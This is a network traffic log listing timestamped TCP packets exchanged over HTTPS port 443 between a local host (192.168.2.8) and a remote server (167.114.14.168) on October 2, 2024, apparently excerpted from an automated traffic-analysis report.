Oct 2, 2024 06:11:44.285145044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.285160065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.285221100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.285228014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.285378933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.289617062 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.289633989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.289702892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.289711952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.289760113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.357804060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.357825994 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.357878923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.357897043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.357912064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.357979059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.364864111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.364883900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.364949942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.364957094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.364986897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.365005016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.367839098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.367856979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.367922068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.367929935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.367980003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.368364096 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.368381977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.368433952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.368442059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.368473053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.368494987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.368858099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.368874073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.368968010 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.368976116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.369153023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.375768900 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.375783920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.375863075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.375863075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.375881910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.375937939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.376235962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.376271963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.376302004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.376307964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.376334906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.376355886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.380230904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.380248070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.380283117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.380289078 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.380314112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.380321980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.448451042 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.448476076 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.448589087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.448628902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.448692083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.455646992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.455662966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.455722094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.455735922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.455825090 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.457528114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.457542896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.457608938 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.457619905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.457659960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.458008051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.458023071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.458069086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.458076000 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.458132029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.458942890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.458961010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.459017038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.459023952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.459144115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.466563940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.466579914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.466690063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.466712952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.467113018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.467133045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.467312098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.467325926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.467715025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.470967054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.470982075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.471048117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.471055031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.471633911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.558516979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.558537006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.558620930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.558629990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.558689117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.571831942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.571854115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.571901083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.571908951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.571945906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.571966887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.573659897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.573676109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.573740005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.573745966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.574031115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.575057983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.575073004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.575136900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.575144053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.575278044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.576220036 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.576235056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.576291084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.576297998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.576371908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.583972931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.583987951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.584053040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.584059954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.584534883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.584579945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.584594965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.584646940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.584654093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.584706068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.588057041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.588079929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.588138103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.588148117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.588217020 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.649214029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.649230957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.649377108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.649396896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.649451971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.662580013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.662606001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.662730932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.662739992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.662794113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.664609909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.664627075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.664720058 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.664726973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.664767027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.665735006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.665751934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.665821075 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.665827990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.666985035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.667022943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.667047024 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.667053938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.667073011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.667117119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.674881935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.674899101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.674993992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.675008059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.675314903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.675338984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.675374031 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.675380945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.675406933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.675435066 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.677845955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.678793907 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.678812981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.678879976 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.678888083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.678930044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.740022898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.740045071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.740106106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.740113974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.740175009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.753396034 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.753427982 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.753504038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.753509998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.753555059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.755340099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.755354881 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.755407095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.755415916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.755425930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.755460978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.756649017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.756664038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.756707907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.756716967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.756746054 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.756766081 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.757704020 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.757720947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.757757902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.757764101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.757790089 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.757807970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.765644073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.765661955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.765749931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.765757084 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.766100883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.766127110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.766163111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.766170025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.766184092 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.766217947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.769438028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.769454956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.769505978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.769511938 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.769553900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.769553900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.830848932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.830869913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.831021070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.831029892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.831103086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.844167948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.844182968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.844289064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.844296932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.844358921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.846105099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.846121073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.846175909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.846184015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.847413063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.847433090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.847476006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.847484112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.847498894 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.847536087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.848361969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.848377943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.848429918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.848437071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.851716995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.856596947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.856615067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.856703043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.856709003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.857319117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.857336044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.857372046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.857378960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.857398987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.857429981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.860306978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.860323906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.860368967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.860374928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.860395908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.860413074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.921575069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.921598911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.921658039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.921669960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.921705008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.921726942 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.934947968 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.934971094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.935029984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.935035944 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.935079098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.935098886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.936737061 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.936754942 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.936844110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.936851025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.936974049 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.938199997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.938215971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.938278913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.938286066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.938555002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.939089060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.939104080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.939241886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.939241886 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.939249992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.939295053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.947155952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947177887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947278023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.947285891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947329044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.947781086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947798014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947849989 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.947858095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.947938919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.950917959 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.950932026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.951006889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:44.951016903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:44.951098919 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.012442112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.012461901 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.012567043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.012584925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.012644053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.025588989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.025605917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.025656939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.025665045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.025713921 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.027715921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.027734041 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.027774096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.027784109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.027812004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.027834892 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.028855085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.028875113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.028918982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.028932095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.028961897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.028985977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.029849052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.029865026 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.029917002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.029923916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:45.029977083 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:45.037885904 CEST	443	49723	167.114.14.168	192.168.2.8
